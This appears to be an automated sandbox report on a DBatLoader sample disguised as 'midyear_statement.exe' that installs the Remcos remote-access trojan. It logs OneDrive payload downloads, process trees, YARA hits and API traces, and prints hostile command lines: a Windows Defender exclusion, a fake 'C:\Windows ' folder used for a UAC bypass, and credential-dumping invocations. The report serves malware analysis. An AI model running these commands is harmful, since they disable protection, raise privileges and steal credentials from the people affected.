2024-03-28T12:59:30Z Date: Thu, 28 Mar 2024 12:59:30 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49725	13.107.139.11	443	7544	C:\Users\Public\Libraries\Dhuirrkw.PIF

Timestamp	Bytes transferred	Direction	Data
2024-03-28 12:59:33 UTC	213	OUT	GET /download?resid=653A5056738F1A02%21264&authkey=!AJnxVlB06nkVKsk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-03-28 12:59:33 UTC	1181	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://abpoxw.sn.files.1drv.com/y4mhwTfeKQ4eY5KLg3nmxa_boO0q7i2wmVFOUDCXUh0ad78865G9-BX4CJ3kGlJVsre75q-4v7SmhYlN4A28B7KTl_rsn_2Lb3l-IDJqY5bFudSe6ievn2XKMWWC8nrTi87i_cWOZzaBVu8lopLINETsI8XBCOuTIh1fXiRIGwic84eljalzk2hNvMzSd-gT9ELswKW3qqa16VYDqaJQ74DXg/255_Dhuirrkwdxq%202?download&psid=1 Set-Cookie: E=P:DdA16iZP3Ig=:MQeKXEAruxUQWUVP5NEtwVLsZ3m9F4XpUqzbGVTt22k=:F; domain=.live.com; path=/ Set-Cookie: xid=66290227-7913-4e0f-a824-70a6e650a56f&&ODSP-ODWEB-ODCF&124; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 28-Mar-2024 11:19:33 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 04-Apr-2024 12:59:33 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 68d84894c4-m6nm6 X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: A1D672B7BFF645DBA7D256096AA60C25 Ref B: BN3EDGE0614 Ref C: 2024-03-28T12:59:33Z Date: Thu, 28 Mar 2024 12:59:33 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49728	13.107.139.11	443	6044	C:\Users\Public\Libraries\Dhuirrkw.PIF

Timestamp	Bytes transferred	Direction	Data
2024-03-28 12:59:36 UTC	213	OUT	GET /download?resid=653A5056738F1A02%21262&authkey=!ANnz1a3_33sd8v4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-03-28 12:59:37 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://abqscw.sn.files.1drv.com/y4mqqfuxAaojOBVtfPX5lO_9YqS1UQ6NBRcPNPOJVv4XmHDm5_Gtl5qEf2kPgFewLT240WuRsCJqcOu-h0nRwQFIp7UER0szhBtwvKsPipxIfChcBqJywL1ZRKUsPYmNaLuKmgdg7zlXv5cgYZq6sDmAZgaQYE5t3kZcTS2XQRJfulwJKDHOfFKOny-KSfQqjOVIZ9EE3CJmIjLK0zYnMEaAg/255_Dhuirrkwdxq?download&psid=1 Set-Cookie: E=P:uns47CZP3Ig=:Z8BRn7ndpvBpO9tcKrL/iCIpv/rLTAc9ZRrG4u9Bd18=:F; domain=.live.com; path=/ Set-Cookie: xid=9a1936c4-a5fb-46e2-88d1-88e3d96fc290&&ODSP-ODWEB-ODCF&124; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 28-Mar-2024 11:19:37 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 04-Apr-2024 12:59:37 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 55f6fc7498-fgnbx X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 995624025D12431CB68FFC2F4520C76E Ref B: BN3EDGE0413 Ref C: 2024-03-28T12:59:37Z Date: Thu, 28 Mar 2024 12:59:37 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49731	13.107.139.11	443	6044	C:\Users\Public\Libraries\Dhuirrkw.PIF

Timestamp	Bytes transferred	Direction	Data
2024-03-28 12:59:38 UTC	213	OUT	GET /download?resid=653A5056738F1A02%21263&authkey=!AN5i5LusLT79ejg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-03-28 12:59:39 UTC	1181	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://aborlw.sn.files.1drv.com/y4mXBt2sSJKJZHlLzI8sH3PFmgRqsPoY_FaTasOJSi4WNTk8bd6AgZ1TzwzQWZ2uDijWJTMVWvNk7B4Qv7G4iDBRq9erQEykxjiVo_KqdGj_ppHb_qVh4I4GTgl18qcnNpGyLCxpBouyROeAZkKOj5A8RqqgS2RKBVz3MwCVm-LlkuyAon09hV4z9mBijNgqmLPO3Qimh3B2Ja3lF4RGaoYcA/255_Dhuirrkwdxq%201?download&psid=1 Set-Cookie: E=P:JyVb7SZP3Ig=:WLjNeVwJXi5er2wsqTcDiuImJWEQim5M3M7HF5/xCz8=:F; domain=.live.com; path=/ Set-Cookie: xid=ef4af2f9-08c5-4fdf-bcbe-7a9461666dbb&&ODSP-ODWEB-ODCF&124; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 28-Mar-2024 11:19:38 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 04-Apr-2024 12:59:39 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 55f6fc7498-smmtm X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B391C3E90CB54B5FB528CB3D61123954 Ref B: BN3EDGE0911 Ref C: 2024-03-28T12:59:38Z Date: Thu, 28 Mar 2024 12:59:38 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49734	13.107.139.11	443	6044	C:\Users\Public\Libraries\Dhuirrkw.PIF

Timestamp	Bytes transferred	Direction	Data
2024-03-28 12:59:40 UTC	213	OUT	GET /download?resid=653A5056738F1A02%21264&authkey=!AJnxVlB06nkVKsk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-03-28 12:59:41 UTC	1181	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://abpoxw.sn.files.1drv.com/y4maSSmIiFxHS53VrMh0Wc-KmE9UNGqFMoeO06mE8M1WEFsDmr1AeIzN4LcJU6cd0KwWqzDYPredBI5vJzq086sSkmP708M63WpYEpwq4Yb4UOciCaZK99NZv3Glv0RdkNg_bt9lvj4D3Yez3DFE6yjM5TlcLOyWpdO5eKA7S5G9HP8JxZkNdZIqLRpjs3yvx7DKG7OJWse6GZve05jg-ma6g/255_Dhuirrkwdxq%202?download&psid=1 Set-Cookie: E=P:tYB+7iZP3Ig=:jpn+rMAexaaFH8vGoJZPZiSkdfipQz36GNFl7j3Hp/E=:F; domain=.live.com; path=/ Set-Cookie: xid=8c9cc4ae-19e8-4d2d-a83f-44208391d04b&&ODSP-ODWEB-ODCF&124; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 28-Mar-2024 11:19:40 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 04-Apr-2024 12:59:41 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 68d84894c4-t9fd4 X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 07DC7F13EE3F45A0A94A6FC624985DDE Ref B: BN3EDGE0607 Ref C: 2024-03-28T12:59:40Z Date: Thu, 28 Mar 2024 12:59:40 GMT Connection: close Content-Length: 0

Target ID:	0
Start time:	13:58:56
Start date:	28/03/2024
Path:	C:\Users\user\Desktop\midyear_statement.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\midyear_statement.exe"
Imagebase:	0x400000
File size:	1'265'664 bytes
MD5 hash:	DD8E3F6AC5C24960B3A69490082C60E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.1190782910.000000007FD60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.1365940643.0000000002A46000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.1364633992.0000000002656000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:59:04
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c mkdir "\\?\C:\Windows "
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:59:04
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c mkdir "\\?\C:\Windows \System32"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:59:04
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:59:04
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:59:04
Start date:	28/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:59:07
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c "C:\Windows \System32\2506803.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:59:07
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:59:07
Start date:	28/03/2024
Path:	C:\Windows \System32\2506803.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows \System32\2506803.exe"
Imagebase:	0x7ff790070000
File size:	131'648 bytes
MD5 hash:	231CE1E1D7D98B44371FFFF407D68B59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:59:07
Start date:	28/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
Imagebase:	0x7ff752700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:59:07
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:59:07
Start date:	28/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Imagebase:	0x7ff752700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:59:07
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:59:08
Start date:	28/03/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:59:12
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\midyear_statement.exe C:\\Users\\Public\\Libraries\\Dhuirrkw.PIF
Imagebase:	0x790000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:59:13
Start date:	28/03/2024
Path:	C:\Users\Public\Libraries\wkrriuhD.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\wkrriuhD.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000018.00000002.3664888730.0000000013EEF000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000018.00000003.1622995189.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000018.00000002.3664577079.000000001245D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000018.00000002.3664577079.000000001248D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000018.00000002.3664577079.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	13:59:15
Start date:	28/03/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7fb730000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:59:16
Start date:	28/03/2024
Path:	C:\Users\Public\Libraries\wkrriuhD.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\jshsresovzeecssjzbcdvgiytb"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:59:16
Start date:	28/03/2024
Path:	C:\Users\Public\Libraries\wkrriuhD.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\tumlrwcijhwjehgnqmoeyldobicnm"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:59:16
Start date:	28/03/2024
Path:	C:\Users\Public\Libraries\wkrriuhD.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\vozespnjxpoopncrzwbyjypxcpmofmxl"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:41:07
Start date:	28/03/2024
Path:	C:\Users\Public\Libraries\Dhuirrkw.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Dhuirrkw.PIF"
Imagebase:	0x400000
File size:	1'265'664 bytes
MD5 hash:	DD8E3F6AC5C24960B3A69490082C60E1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000001E.00000002.1569609862.00000000040F1000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 26%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:41:15
Start date:	28/03/2024
Path:	C:\Users\Public\Libraries\wkrriuhD.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\wkrriuhD.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001F.00000002.1589543498.000000002427B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	15:41:15
Start date:	28/03/2024
Path:	C:\Users\Public\Libraries\Dhuirrkw.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Dhuirrkw.PIF"
Imagebase:	0x400000
File size:	1'265'664 bytes
MD5 hash:	DD8E3F6AC5C24960B3A69490082C60E1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000020.00000002.1640507310.0000000004171000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	15:41:22
Start date:	28/03/2024
Path:	C:\Users\Public\Libraries\wkrriuhD.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\wkrriuhD.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000021.00000002.1658571409.00000000244BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	16.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	28.2%
Total number of Nodes:	1462
Total number of Limit Nodes:	19

Executed Functions

Function 040BD850 Relevance: 233.2, APIs: 14, Strings: 114, Instructions: 9202processsleepCOMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,040C9731,?,?,?,000002EC,00000000,00000000), ref: 040BD885

Part of subcall function 040B7B88: LoadLibraryW.KERNEL32(?,00000000,040B7C3A), ref: 040B7BB8
Part of subcall function 040B7B88: GetModuleHandleW.KERNEL32(?,?,00000000,040B7C3A), ref: 040B7BBE
Part of subcall function 040B7B88: GetProcAddress.KERNEL32(00000000,00000000), ref: 040B7BD7

Part of subcall function 040A7DD4: GetFileAttributesA.KERNEL32(00000000,?,040BE36F,ScanString,04100344,040C9768,OpenSession,04100344,040C9768,ScanString,04100344,040C9768,UacScan,04100344,040C9768,UacInitialize), ref: 040A7DDF

Part of subcall function 040AC2A8: GetModuleFileNameA.KERNEL32(00000000,?,00000105,041F4874,?,040BE690,ScanBuffer,04100344,040C9768,OpenSession,04100344,040C9768,ScanBuffer,04100344,040C9768,OpenSession), ref: 040AC2BF

Part of subcall function 040BCE00: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,040BCED0), ref: 040BCE3B
Part of subcall function 040BCE00: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,040BCED0), ref: 040BCE6B
Part of subcall function 040BCE00: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 040BCE80
